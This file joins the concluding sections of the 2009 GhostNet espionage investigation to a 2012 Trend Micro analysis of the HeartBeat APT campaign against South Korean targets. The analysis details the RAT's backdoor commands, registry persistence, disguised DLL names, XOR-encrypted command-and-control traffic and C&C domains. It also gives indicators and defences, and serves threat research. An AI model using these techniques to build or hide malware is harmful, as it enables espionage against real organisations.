JR02-2009 Tracking GhostNet - PART TWO Table 2: Selected infections (contd) 45JR02-2009 Tracking GhostNet - PART TWO This screen capture of a timeline generated with Palantir illustrates when and how many computers were infected by the GhostNet.
It shows that there are significant spikes in infection rates in December 2007 and August 2008.
Fig.
13 GhostNet infection timeline.
PART THREE: Investigating GhostNet: Conclusions 47 The evidence presented in this reportthrough a combination of field investigations, interviews, technical scouting, data analysis, mining and visualizationpaints a disturbing picture.
GhostNet represents a network of compromised computers resident in high-value political, economic, and media locations spread across numerous countries worldwide.
At the time of writing, these organizations are almost certainly oblivious to the compromised situation in which they find themselves.
The computers of diplomats, military attachs, private assistants, secretaries to Prime Ministers, journalists and others are under the concealed control of unknown assailant(s).
In Dharamsala and elsewhere, we have witnessed machines being profiled and sensitive documents being removed.
At our Laboratory, we have analysed our own infected honey pot computer and discovered that the capabilities of GhostNet are potent and wide ranging.
Almost certainly, documents are being removed without the targets knowledge, keystrokes logged, web cameras are being silently triggered, and audio inputs surreptitiously activated.
This raises the question, how many sensitive activities have been preemptively anticipated by intelligence gathered through this network?
How many illegal transactions have been facilitated by information harvested through GhostNet?
Worst of all, how many people may have been put at risk?
While these questions are compelling, it would be imprudent to read these findings as an indictment, or to attribute to the owners of GhostNet motivations and intentions for which there is no evidence.
Alternative explanations The list of computers controlled by the GhostNet is significant, and certainly atypical for a cybercrime network.
The size of the network is small, and the concentration of high-value systems is significant.
At the same time, penetrations of this type are not uncommon.
Recently, several large-scale spy nets have been discovered, including ones containing lists of affected computers of a magnitude higher than that harvested by GhostNet.
This trend is predictable, converging with accumulating incidents of cyber-attacks facilitated by lower entry-thresholds for computer exploitation methods and technologies.
The tools we profile in our investigation, though apparently amassed in a complex way to achieve a definite purpose, are not restricted to an exclusive guild of experts with specialized and confidential knowledge.
Today, pirated cyber-crime kits circulate extensively on the Internet and can be downloaded by anyone about as easily as the latest pirated DVD.51 Cyberspace has empowered individuals and small groups of non-state actors to do many things, including executing sophisticated computer network operations that were previously only the domain of state intelligence agencies.
We have entered the era of do-it-yourself (DIY) signals intelligence.
51 http://ddanchev.blogspot.com/2008/11/zeus-crimeware-kit-gets-carding-layout.html JR02-2009 Tracking GhostNet - PART THREE 48 Attribution Who is ultimately in control of the GhostNet system?
While our analysis reveals that numerous politically sensitive and high-value computer systems were compromised, we do not know the motivation or the identity of the attacker(s) or how to accurately characterize this network of infections as a whole.
We have not been able to ascertain the type of data that has been obtained by the attacker(s), apart from the basic system information and file listings of the documents located on the target computers.
Without this data we are unable to deduce with any certainty what kind of data the attacker(s) were after.
There are thus several possibilities for attribution.
The most obvious explanation, and certainly the one in which the circumstantial evidence tilts the strongest, would be that this set of high profile targets has been exploited by the Chinese state for military and strategic-intelligence purposes.
Indeed, as described above, many of the high confidence, high-value targets that we identified are clearly linked to Chinese foreign and defence policy, particularly in South and South East Asia.
Like radar sweeping around the southern border of China, there is an arc of infected nodes from India, Bhutan, Bangladesh and Vietnam, through Laos, Brunei, Philippines, Hong Kong, and Taiwan.
Many of the high profile targets reflect some of Chinas most vexing foreign and security policy issues, including Tibet and Taiwan.
Moreover, the attacker(s) IP addresses examined here trace back in at least several instances to Hainan Island, home of the Lingshui signals intelligence facility and the Third Technical Department of the Peoples Liberation Army.52 However, we must be cautious to rush to judgement in spite of circumstantial and other evidence, as alternative explanations are certainly possible and charges against a government of this nature are gravely serious.
On the other end of the spectrum is the explanation that this is a random set of infected computers that just happens to include high profile targets of strategic significance to China, collected by an individual or group with no political agenda per se.
Similarly one can postulate that the targets gathered together happened less by concerted effort than by sheer coincidence.
Given the groupings of various entities in the infected computer list (by country and organization), internal email communications and sloppy security practices could have led to cross-infection and subsequent listing on the control servers.
Another possible explanation is that there is a single individual or set of individuals (criminal networks, for example) who are targeting these high-value targets for profit.
This can be in the form of stealing financial information or critical data that can be sold to clients, be they states or private entities.
There are countless examples of large-scale fraud and data theft worldwide and numerous apparent instances of outsourcing to third parties of cyber-attacks and espionage, some of which the Information Warfare Monitor and its related research project, the OpenNet Initiative, have documented.
GhostNet could very well be a for-profit, non-state venture.
Even patriotic hackers could be acting on their own volition, or with the tacit approval of their government, as operators of the GhostNet.
Finally, it is not inconceivable that this network of infected computers could have been targeted by a state other than China, but operated physically within China (and at least one node in 52 http://www.globalsecurity.org/military/world/china/lingshui.htm JR02-2009 Tracking GhostNet - PART THREE 49 the United States) for strategic purposes.
Compromised proxy computers on Hainan Island, for example, could have been deployed as staging posts, perhaps in an effort to deliberately mislead observers as to the true operator(s) and purpose of the GhostNet system.
The Significance of GhostNet GhostNet is significant, as it does not appear to be a typical cybercrime network.
The potential political fallout is enormous.
But ultimately, the question of who is behind the GhostNet may matter less than the strategic significance of the collection of affected targets.
What this study discovered is serious evidence that information security is an item requiring urgent attention at the highest levels.
It demonstrates that the subterranean layers of cyberspace, about which most users are unaware, are domains of active reconnaissance, surveillance, and exploitation.
Regardless of who or what is ultimately in control of GhostNet, its capabilities of exploitation and the strategic intelligence that can be harvested from it matter most.
Indeed, although the Achilles heel of the GhostNet system allowed us to monitor and document its far-reaching network of infiltration, we can safely hypothesize that it is neither the first nor the only one of its kind.
JR02-2009 Tracking GhostNet - PART THREE PART FOUR: About Information Warfare Monitor 51 About the Information Warfare Monitor http://infowar-monitor.net/ The Information Warfare Monitor is an advanced research activity tracking the emergence of cyberspace as a strategic domain.
We are an independent research effort.
Our mission is to build and broaden the evidence base available to scholars, policymakers, and others.
We aim to educate and inform.
The Information Warfare Monitor is a public-private venture between two Canadian institutions: The SecDev Group, an operational think tank based in Ottawa (Canada), and the Citizen Lab at the Munk Centre for International Studies, University of Toronto.
The Principal Investigators and co-founders of the Information Warfare Monitor are Rafal Rohozinski (The SecDev Group) and Ronald Deibert (Citizen Lab).
The Information Warfare Monitor is supported by The SecDev Group which conducts field-based investigations and data gathering.
Our advanced research and analysis facilities are located at the Citizen Lab.
IWM is part of the Citizen Labs network of advanced research projects, which include the OpenNet Initiative and ONI Asia.
The Information Warfare Monitor also benefits from donations from a variety of sponsors including Psiphon Inc, and Palantir Technologies.
The Information Warfare Monitor engages in three primary activities: 1.
Case Studies.
We design and carry out active case study research.
These are self-generated activities consistent with our mission.
We employ a rigorous and multidisciplinary approach to all our case studies blending qualitative, technical, and quantitative methods.
As a general rule, our investigations consist of at least two components: Field-based investigations.
We engage in qualitative research among affected target audiences and employ techniques that include interviews, long-term in situ interaction with our partners, and extensive technical data collection involving system monitoring, network reconnaissance, and interrogation.
Our field-based teams are supported by senior analysts and regional specialists, including social scientists, computer security professionals, policy experts, and linguists, who provide additional contextual support and substantive back-up.
Technical scouting and laboratory analysis.
Data collected in the field is rigorously analysed using a variety of advanced data fusion and visualization methods.
Leads developed on the basis of infield activities are pursued through technical scouting, including computer network investigations, and the resulting data and analysis is shared with our infield teams and partners for verification and for generating additional entry points for follow-on investigations.
52 2.
Open Source Trend Analysis.
We collect open-source information from the press and other sources tracking global trends in cyberspace.
These are published on our public website.
3.
Analytical Workshops and Outreach.
We work closely with academia, human rights organizations, and the defense and intelligence community.
We publish reports, and occasionally conduct joint workshops.
Our work is independent, and not subject to government classification.
Our goal is to encourage vigorous debate around critical policy issues.
This includes engaging in ethical and legal considerations of information operations, computer network attacks, and computer network exploitation, including the targeted use of Trojans and malware, denial of service attacks, and content filtering.
About The SecDev Group http://www.secdev.ca The SecDev Group is a Canadian-based operational consultancy focused on countries and regions at risk from violence and insecurity.
We deliver to our clients insights and access to a diverse range of cultures, audiences, challenging environments and ungoverned spaces.
Our approach combines a field research capability with advanced techniques and methods for generating policy-relevant analysis and solutions.
As a think tank, we identify and communicate realistic options to enhance effectiveness through evidence-based research on the causes, consequences and trajectories of insecurity and violence.
We are operational because we design and conduct activities in complex and insecure environments.
About The Citizen Lab http://www.citzenlab.org The Citizen Lab is an interdisciplinary laboratory based at the Munk Centre for International Studies at the University of Toronto, Canada focusing on advanced research and development at the intersection of digital media and world politics.
We are a hothouse that combines the disciplines of political science, sociology, computer science, engineering, and graphic design.
Our mission is to undertake advanced research and engage in development that monitors, analyses, and impacts the exercise of political power in cyberspace.
The Citizen Labs ongoing research network includes the Information Warfare Monitor and the OpenNet Initiative, ONI Asia, and benefits from collaborative partnerships with academic institutions, NGOs, and other partners in all regions of the world.
Title page Foreword Acknowledgements Table of Contents Summary Introduction Part One Part Two Part Three Part Four
Trend Micro Incorporated Research Paper 2012 The HeartBeat APT Campaign Roland Dela Paz PAGE ii  THE HEARTBEAT APT CAMPAiGN Contents About This Paper .................................................................................................................................. 1 Introduction ........................................................................................................................................... 1 Campaign Targets ................................................................................................................................ 2 Context ................................................................................................................................................... 2 Attack Vector ........................................................................................................................................ 3 Infection Flow .......................................................................................................................................4 The RAT Component ...........................................................................................................................5 Backdoor Functionalities ............................................................................................................5 Installation and Persistence .......................................................................................................5 CC Communication ....................................................................................................................6 Command and Control ........................................................................................................................8 HeartBeat Campaign Codes and Decoy Documents ...................................................................8 Relationships among CC Domains, IPs, and Campaigns ..........................................................9 Attribution ............................................................................................................................................10 Conclusion ............................................................................................................................................10 Timeline .................................................................................................................................................10 Defending against the HeartBeat Campaign ................................................................................ 11 Trend Micro Threat Protection Against The HeartBeat Campaign Components ................12 THE HEARTBEAT APT CAMPAiGN About this PAPer This paper exposes a targeted attack called HeartBeat, which has been persistently pursuing the South Korean government and related organizations since 2009.
This paper will discuss how their specifically crafted campaigns infiltrate their targets.
Compared to most advanced persistent threat (APT) campaigns with diverse targeted industries, the HeartBeat campaign is an isolated case.
Furthermore, we will examine their attack methodologies which include their attack vector, the remote administration tool (RAT) component, and command-and-control servers.
Finally, we will discuss how this information can be useful in developing defensive strategies in protecting organizations as well as predicting future targets.
introduCtion Todays cybercriminals try to infect as many users as possible.
Their goal is simpleto monetize the resources or data from infected machines in any way they can.
Behind such attacks are highly covert targeted campaigns known as APTs.
While targeted campaigns continue to increase, research efforts by the security industry reveal that some of these attacks have existed for several years.1 Depending on the motive, APT campaigns may attack various industries, organizations or communities from different regions and countries.
For instance, the Luckycat campaign targeted the aerospace, energy, engineering, shipping, and military research industries in India and Japan.2 Additionally, they targeted the Tibetan activists community.
The IXESHE campaign, on the other hand, targeted East Asian governments, Taiwanese electronics manufacturers, and a telecommunications company.3 While most of these campaigns have multiple targets, smaller, more subtle campaigns with exceedingly specific targets are also present.
The Taidoor campaign is an example of this, where all of the compromise victims were from Taiwan, and the majority of which were government organizations.4 This research paper will delve into a targeted campaign that targets organizations and communities within South Korea.
We call this malicious operation the HeartBeat campaign.
1 http://www.trendmicro.com/cloud-content/us/pdfs/security- intelligence/white-papers/wp_dissecting-lurid-apt.pdf 2 http://www.trendmicro.com/cloud-content/us/pdfs/security- intelligence/white-papers/wp_luckycat_redux.pdf 3 http://www.trendmicro.com/cloud-content/us/pdfs/security- intelligence/white-papers/wp_ixeshe.pdf 4 http://www.trendmicro.com/cloud-content/us/pdfs/security- intelligence/white-papers/wp_the_taidoor_campaign.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_luckycat_redux.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_luckycat_redux.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf THE HEARTBEAT APT CAMPAiGN CAmPAign tArgets The HeartBeat campaign appears to target government organizations and institutions or communities that are in some way related to the South Korean government.
Specifically, we were able to identify the following targets: Political parties Media outfits A national policy research institute A military branch of South Korean armed forces A small business sector organization Branches of South Korean government The profile of their targets suggests that the motive behind the campaign may be politically motivated.
Context The first HeartBeat campaign remote access tool (RAT)5 component was discovered in June 2012 in a Korean newspaper company network.
Further investigation revealed that the campaign has been actively distributing their RAT component to their targets in 2011 and the first half of 2012.
Furthermore, we uncovered one malware component that dates back to November 2009.
This indicates that the campaign started during that time or earlier.
Earlier versions of the HeartBeat campaigns RAT component contained the following strings in their codes: Thus, the campaign name HeartBeat.
5 http://en.wikipedia.org/wiki/Remote_administration_software Figure 1.
Code used in the HeartBeat campaigns RAT component http://en.wikipedia.org/wiki/Remote_administration_software THE HEARTBEAT APT CAMPAiGN AttACk VeCtor In order to gain control over targets systems, HeartBeat perpetrators install a RAT in prospective victims systems.
This RAT arrives as a disguised or fake document which is actually a bundled file.
The bundled file contains both a decoy document and the RAT installer that has been packaged together using a binder tool.
Once it runs, the decoy document is displayed to the user while the RAT unknowingly executes in the background.
It is unclear how these packaged files specifically arrive on victims systems, but we highly suspect that spearphishing emails6 containing these packaged malware were primarily used to distribute them.
In fact, the packaged malware used the icon of the decoy document in order to look legitimate.
For instance, if the decoy is an XLS file, the package will appear to have an XLS document icon.
In addition, some of the decoy files required passwords in order to be viewed.
Figure 2.
Example of a decoy Adobe Reader document The previously mentioned techniques are commonly used in spearphishing attacks where prospective victims are lured to open a seemingly benign document attachment.
In order to appear more legitimate, some of these emails contain password protected documents.
A password is then provided in the email body as a social engineering technique.
6 http://blog.trendmicro.com/taiwan-spear-phishers-target-gmail-users/ Based on the samples we collected, the campaigns decoy documents used the file formats .JPG, .PDF, XLS, and HWP, the Korean government standard word processor format.
One of the previous HeartBeat attacks even dropped a pornographic .JPG image as decoy.
Below is a screenshot of a Hangul Word Processor (.HWP) document used as bait in November 2011.
Its document title roughly translates to Information to the President.hwp.
Figure 3.
A decoy .HWP document http://blog.trendmicro.com/taiwan-spear-phishers-target-gmail-users/ THE HEARTBEAT APT CAMPAiGN 2012 by Trend Micro, Incorporated.
All rights reserved.
Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated.
All other product or company names may be trademarks or registered trademarks of their owners.
TREND MICRO INCORPORATED Trend Micro Incorporated (TYO: 4704 TSE: 4704), a global cloud security leader, creates a world safe for exchanging digital information with its In- ternet content security and threat management solutions for businesses and consumers.
A pioneer in server security with over 20 years experience, we deliver top-ranked client, server and cloud- based security that fits our customers and partners needs, stops new threats faster, and protects data in physical, virtualized and cloud environments.
Powered by the industry-leading Trend Micro Smart Pro- tection Network cloud computing security infrastructure, our products and services stop threats where they emergefrom the Internet.
They are supported by 1,000 threat intelligence experts around the globe.
TREND MICRO INC.
10101 N. De Anza Blvd.
Cupertino, CA 95014 U.S. toll free: 1 800.228.5651 Phone: 1 408.257.1500 Fax: 1 408.257.2003 www.trendmicro.com infeCtion flow Once users open the packaged malicious file, the actual document is displayed to the user while a RAT installer in .EXE format runs in the background.
The RAT installer, on the other hand, drops a .DLL file that is then injected to the legitimate process svchost.exe.
The injected code in svchost.exe then connects to the malware command and control (CC) server to register infection and wait for remote commands.
Figure 4.
Infection diagram for the HeartBeat campaign THE HEARTBEAT APT CAMPAiGN the rAt ComPonent Backdoor Functionalities The HeartBeat campaigns RAT component allows attackers to remotely execute the following commands on affected hosts: List running processes and their respective process IDs Download and execute file(s) Update itself Uninstall itself Create or terminate a process List available removable and fixed drives List existing files and their creation date/time Upload file(s) Delete file(s) Get the file creation date/time of a specific file Open a remote command shell access Reboot the system These commands give the attackers complete control over their victims systems.
Attackers also have the option to uninstall the RAT any time to cover their tracks and avoid being discovered.
Installation and Persistence The RAT installer is initially dropped and executed by the packaged file using any of the following file names: System\msrt.exe Program Files\Common Files\AcroRd32.exe Program Files\Common Files\config.exe Program Files\Common Files\explorer.exe The RAT installer in turn drops a .DLL component which contains the backdoor capabilities.
In order to stay hidden, the .DLL uses file names similar to legitimate applications.
Below is a list of file names used: Program Files\Common Files\Services\6to4nt.dll Program Files\Common Files\System\6to4nt.dll Program Files\Windows NT\Accessories\6to4nt.dll Program Files\Windows NT\htrn.dll Program Files\Windows NT\htrn_jls.dll Program Files\Windows NT\hyper.dll System\Network Remote.dll System\SvcHost.dll Some these dropped .DLL files use fake file properties in order to not appear suspicious.
The following is an example: Figure 5.
A.DLL that uses fake file properties THE HEARTBEAT APT CAMPAiGN In some cases, the RAT installer drops 2 .DLL files where one of the .DLLs serves as a loader of the other .DLL file which contains the backdoor payload.
The .DLL component is then registered as a service through the following added registries: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\service name Type  20 Start  2 ErrorControl  1 ImagePath  SystemRoot\System32\svchost.exe -k netsvcs ObjectName  LocalSystem HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\service name\Parameters ServiceDll  C:\Program Files\Windows NT\htrn.
dll HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\service name\Security Security  values HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\service name\Enum 0  Root\LEGACY_service name\0000 Count  1 NextInstance  1 service name may be 6to4, Ias or Irmon.
The service is then invoked once installed.
This results in the .DLL being injected to svchost.exe process.
This registry modification allows the RAT to execute upon every system startup.
After installation the RAT installer deletes itself, which leaves only the disguised .DLL and related registry entries on the affected system.
Note that the presence of any of the files or registries above may be an indication of a possible HeartBeat infection in a system.
CC Communication Once the RATs .DLL component has been injected to svchost.exe, the malware attempts to register itself to the CC server by sending the following information from the affected system: Computer name Local IP address Service pack These data are sent along with a campaign code and the string qawsed.
While the qawsed string is not present in earlier versions of their RAT, we suspect that the attackers only recently added this as a default campaign password.
The RATs CC communication is encrypted with XOR encryption using a single byte key, 02H.
Furthermore, the data being transferred and received by the RAT CC are 800H (2,048 bytes) in size.
Figure 6.
RATs encryption algorithm before sending data to its CC server THE HEARTBEAT APT CAMPAiGN Figure 7.
RATs decryption code upon receiving data from the CC server During the RATs phone home, the following TCP traffic is observed on the network: When decrypted, the above traffic looks as follows: The majority of the RAT variants used port 80.
Recent variants, however, were observed to use port 443.
Other ports we have seen being utilized are port 5600 and port 8080.
Earlier RAT variants did not use encryption on their CC communication.
Moreover, they only sent the computer name and campaign code during phone home.
Below is a screenshot of the unencrypted CC communication.
THE HEARTBEAT APT CAMPAiGN The CC traffic size also varied in previous versions.
Some early variants used traffic that are 28H (40 bytes) and 1004H (4,100 bytes) in size.
Additionally, the port, CC address, campaign code and password are hardcoded in the RATs malware body in plain text.
In some RAT versions, however, they are encrypted and are decrypted only during run-time, possibly to protect the RAT from static analysis by security researchers.
These variations in their RAT component indicate that it has since been undergoing development.
CommAnd And Control The HeartBeat campaigns CC domains appear to utilize a site redirection service.
Their CC sites redirect to IP addresses from ISPs in Armenia, USA, Japan, India and Korea.
We observed that they updated the IP address of some of their CC domains.
Likewise, all of their IP addresses belong to legitimate ISPs.
Considering this, we suspect that these IP addresses are compromised hosts that act as proxy servers which redirects traffic to the actual CC servers.
Again, this adds another layer of anonymity to the HeartBeat perpetrators.
Domain IP Address ahnlab.myfw.us XXX.XXX.217.123 /XXX.XX.121.84 kissyou01.myfw.us XX.XXX.203.122 / XX.XXX.20.103 kita.myfw.us XXX.XXX.217.123 / XXX.XX.121.84 login.sbs.com.
PassAs.us XXX.XXX.178.50 mail2.myfw.us XX.XXX.15.63 / XXX.XXX.198.93 park007.myfw.us unknown snrp.
UglyAs.com XXX.XXX.169.45 www.banking.com.
PassAs.us XXX.XXX.178.50 www.huyang.go.kr.
PassAs.us XXX.XXX.217.123 / XX.XXX.136.115 www.kinu.or.kr.rr.nu XXX.XXX.178.50 www.kndu.ac.kr.myfw.us XXX.XXX.4.180 young03.myfw.us XX.XXX.203.122 Table 1.
List of HeartBeat CCs heArtbeAt CAmPAign Codes And deCoy doCuments The campaign codes and decoy documents used by the HeartBeat attackers provided valuable insights on their campaigns.
In fact, majority of their campaign codes included number combinations which represented the month and date in MMDD format when the attack attempt was executed.
The rest of the campaign code string often describes the decoy document that was used in a specific campaign.
For instance, a campaign code from October 2011 is army-1022 where attackers used a decoy document containing military-related information.
Campaign code Password 1119HWP None kris0315 None PDF-0417 None gh-0525 None 0909-jpg qawsed 0916 qawsed jpg-jf-0925 qawsed army-1022 qawsed 1103-ghui qawsed 1113-minzhu qawsed ajh7884han qawsed 001 qawsed 0305-ziyoudang qawsed 0326-xuehui qawsed 0328-junf qawsed 0329-mnd qawsed 1q2w3e4r None 0520-tiegang qawsed guohui-0604 qawsed Table 2.
Campaign codes used On the other hand, decoy documents contents were also very specific to their targets.
For example, some of these documents included logos of specific groups.
This information helped us identify their targeted organizations and communities in their previous campaigns.
r el A ti o n sh iP s A m o n g C  C d o m A in s, iP s, A n d C A m P A ig n s PA G E 9  T H E H E A R T B E A T A P T C A M P A iG N Fi gu re 7 .
R el at io ns hi ps b et w ee n H ea rt B ea t at ta ck c om po ne nt s THE HEARTBEAT APT CAMPAiGN Attribution Clues relating to the attackers remain very limited.
Using compromised hosts as CC proxy servers minimizes the possibility of tracking potential threat actors.
While a number of their campaign codes included Chinese words such as guohui, xuehui and minzhu, they appear to be comfortable using the English language.
Some of the CC domain names even contained English words.
In addition, the binder tool and the RAT component are written in English.
For instance, some text from the packaged components body included Select Files and Bind Success, while the RAT component included strings such as Uninstallok and the name of the RAT itself, HeartBeat.
Threat actors and entities that use collected information from targets may be two separate parties that are only related in a professional and malicious manner.
In this case, determining the latter may be impossible.
Likewise, it is very difficult to identify the threat actors behind the HeartBeat campaign given the limited amount of information available.
ConClusion The Heartbeat campaign has been successfully executing targeted attacks since 2009.
In order for attackers to properly track their campaigns and victims, they used campaign codes that contained the campaign dates and strings that described specific campaigns.
These campaign codes are embedded in their RAT binaries and were sent to their CC servers along with information regarding the targets system.
Additionally, they used a commercial site redirection service for their CC domains.
These domains redirected to various IP addresses that belonged to legitimate ISPs, which may be compromised hosts that act as proxy servers.
This effectively hides the real location of the attackers behind HeartBeat.
While having an isolated target may have helped them stay under the security industrys radar, the attackers illustrated that they were very careful but persistent.
Understanding targeted campaigns and their methodologies is fundamental in protecting both end users and organizations.
Not only does it help in coming up with effective defensive strategies through multiple protection layers, it also helps with predicting possible targets in the future and ultimately, raise awareness.
As of this writing, the HeartBeat APT campaign remains an active targeted campaign.
timeline We collected 19 set of samples related to HeartBeat campaign from November 2009 to June 2012.
This translates to 19 campaigns where the vast majority of which were distributed between 2011 and 2012.
Nonetheless, the limited number of samples we were able to obtain still means that the campaign is indeed persistent.
The isolated nature of this targeted attack and its small user base may only require the HeartBeat perpetrators to carry out minimal campaigns in order to infiltrate their targets.
Campaign Date (MM/DD/YY) MD5 (.DLL component) Compile Date (MM/DD/YY) 11/19/09 7c6b44d8d87898e7e5deeeb1961b5ae6 9/17/2009 03/15/11 fcf42cadb3a932989c8e2b29cef68861 12/24/2010 04/17/11 aab129ffd3bf5ceeae2e0f332217bebc 3/18/2011 05/25/11 86547d674e7c7da55e8cae359819832f 5/6/2011 09/09/111 f947e63b14853a69b8ed2648869b5e10 7/25/2011 09/16/11 7f1a633384ec97fae9d95d1df9e1135a 7/25/2011 09/25/11 8816c5be1305488019769c81259dad2a 9/21/2011 10/22/11 874025a66c2b9d9831c03d1bc114876a 10/17/2011 11/03/11 4046dec1aa0eebb01fe7469184a95398 10/31/2011 11/13/11 ba370b17dc9eb1d1e1c3187f0768064f 10/31/2011 12/2011 51274cefb01cee981a09db83c984213d 11/28/2011 02/2012 d1a2253361045f91ed1902e9ffe2cec3 7/18/2011 03/05/12 20bb652e1d2679ed230102aa9676eca0 3/1/2012 03/26/12 c5c0fea23138cddab96fe22b657f9132 3/8/2012 03/28/12 ef2bc66ea69327d11d1859af26f5aef9 3/8/2012 03/29/12 8e50af054d2c0b45c88082d53c4fc423 3/8/2012 04/2012 b1e47ecd68c1c151866cec275716aa67 4/18/2012 05/20/12 6d205e78fb7730066c116b0c2dffa398 5/2/2012 06/04/12 5ec175512ba3c6e78597af48bbe6ca60 5/2/2012 Table 3.
Specific dates of HeartBeat campaigns THE HEARTBEAT APT CAMPAiGN We did not obtain a campaign sample from 2010.
However, we highly suspect that their operation was also active during that year.
In fact, we can see in the second MD5 above that the sample was compiled in December 24, 2010.
Also, it is possible that some of the campaigns attacks may not have been escalated to antivirus firms by infected users, or simply remains undiscovered.
defending AgAinst the heArtbeAt CAmPAign Essential components of defense against the HeartBeat campaign are security-related policies within enterprises.
Once an attack is identified, a good cleanup strategy should focus on determining the attack vector and cutting off communications with the CC server.
It is also vital to determine the scope of the compromise and assessing the damage through data analysis and forensics.
The following best practices are also advised: Disable services that are related to the HeartBeat RAT component.
Enable systems firewall Keep software and operating systems updated with latest patches released by vendors to address vulnerabilities and exploits.
Block unused ports to disallow malware from using these ports to communicate and/or enforce commands.
Monitor network connections for any suspicious connection or connectivity.
Regularly update list of sites that are trusted.
Configure your email server to block or remove email that contain file attachments using extensions such as .VBS, .BAT, .EXE, .PIF and .SCR files.
Avoid opening email attachments and clicking embedded links from unknown sources Block any file with more than one file type extension.
When a computer is compromised, isolate it immediately from the network.
Configure your system to show hidden files and folders and display file extensions.
Dont save login credentials on the local computer.
THE HEARTBEAT APT CAMPAiGN trend miCro threAt ProteCtion AgAinst the heArtbeAt CAmPAign ComPonents The following table summarizes the Trend Micro solutions for the components of the HeartBeat campaign.
Trend Micro recommends a comprehensive security risk management strategy that goes further than advanced protection to meet the real-time threat management requirements of dealing with targeted attacks.
Attack Component Protection Technology Trend Micro Solution HeartBeat TCP communication is blocked in the network layer as TCP_HBEAT_REQUEST Web Reputation Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) TROJ_DRPBEAT and BKDR_HBEAT variants File Reputation (Antivirus/Anti-malware) Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) XXX.XXX.217.123 XXX.XX.121.84 XX.XXX.203.122 XX.XXX.20.103 XXX.XXX.217.123 XXX.XX.121.84 XXX.XXX.178.50 XX.XXX.15.63 XXX.XXX.198.93 XXX.XXX.169.45 XXX.XXX.178.50 XXX.XXX.217.123 XX.XXX.136.115 XXX.XXX.178.50 XXX.XXX.4.180 XX.XXX.203.122 ahnlab.myfw.us kissyou01.myfw.us kita.myfw.us login.sbs.com.
PassAs.us mail2.myfw.us park007.myfw.us snrp.
UglyAs.com www.banking.com.
PassAs.us www.huyang.go.kr.
PassAs.us www.kinu.or.kr.rr.nu www.kndu.ac.kr.myfw.us young03.myfw.us Web, Domain, and IP Reputation Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) THE HEARTBEAT APT CAMPAiGN December 2012      APT Campaign Quick Profile: HEARTBEAT Advanced persistent threats (APTs) refer to a category of threats that aggressively pursue and compromise specific targets to maintain persistent presence within the victims network so they can move laterally and exfiltrate data.
Unlike indiscriminate cybercrime attacks, spam, web threats, and the like, APTs are much harder to detect because of the targeted nature of related components and techniques.
Also, while cybercrime focuses on stealing credit card and banking information to gain profit, APTs are better thought of as cyber espionage.
HEARTBEAT FirstSeen Individual targeted attacks are not one-off attempts.
Attackers continually try to get inside the targets network.
The HeartBeat campaign has been persistently pursuing government agencies since 2009.
The samples collected related to this campaign covered attacks seen from November 2009 to June 2012, although majority of the attacks were seen in 2011 and 2012.
VictimsandTargets APT campaigns target specific industries or communities of interest in specific regions.
The HeartBeat campaign targets South Korean government organizations and institutions like political parties, media outfits, a national policy research institute, a military branch of South Korean armed forces, a small business sector organization, and branches of the South Korean government.
Operations The 1st-stage computer intrusions often use social engineering.
Attackers custom-fit attacks to their targets.
The threat actors behind HeartBeat install a RAT in system.
The RAT arrives as a disguised or fake document which is actually a bundled file.
The bundled file contains both a decoy document and the RAT installer that has been packaged together using a binder tool.
The campaigns decoy documents used the file formats .JPG, .PDF, XLS, and HWP, the Korean government standard word processor format.
PossibleIndicatorsofCompromise Attackers want to remain undetected as long as possible.
A key characteristic of these attacks is stealth.
The following indicators suggest an infection by the HeartBeat campaign: contiguous 02H bytes communication in the network, the presence of certain files and registries as detailed in the paper, and network connections to certain IPs and domains, including the presence of files detected as TROJ_DRPBEAT and BKDR_HBEAT.
RelationshipwithotherAPTCampaigns This attack does not seem to have any relationship with other APT campaigns.
THE HEARTBEAT APT CAMPAiGN 2012 by Trend Micro, Incorporated.
All rights reserved.
Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated.
All other product or company names may be trademarks or registered trademarks of their owners.
TREND MICRO INCORPORATED Trend Micro Incorporated (TYO: 4704 TSE: 4704), a global cloud security leader, creates a world safe for exchanging digital information with its In- ternet content security and threat management solutions for businesses and consumers.
A pioneer in server security with over 20 years experience, we deliver top-ranked client, server and cloud- based security that fits our customers and partners needs, stops new threats faster, and protects data in physical, virtualized and cloud environments.
Powered by the industry-leading Trend Micro Smart Pro- tection Network cloud computing security infrastructure, our products and services stop threats where they emergefrom the Internet.
They are supported by 1,000 threat intelligence experts around the globe.
TREND MICRO INC.
10101 N. De Anza Blvd.
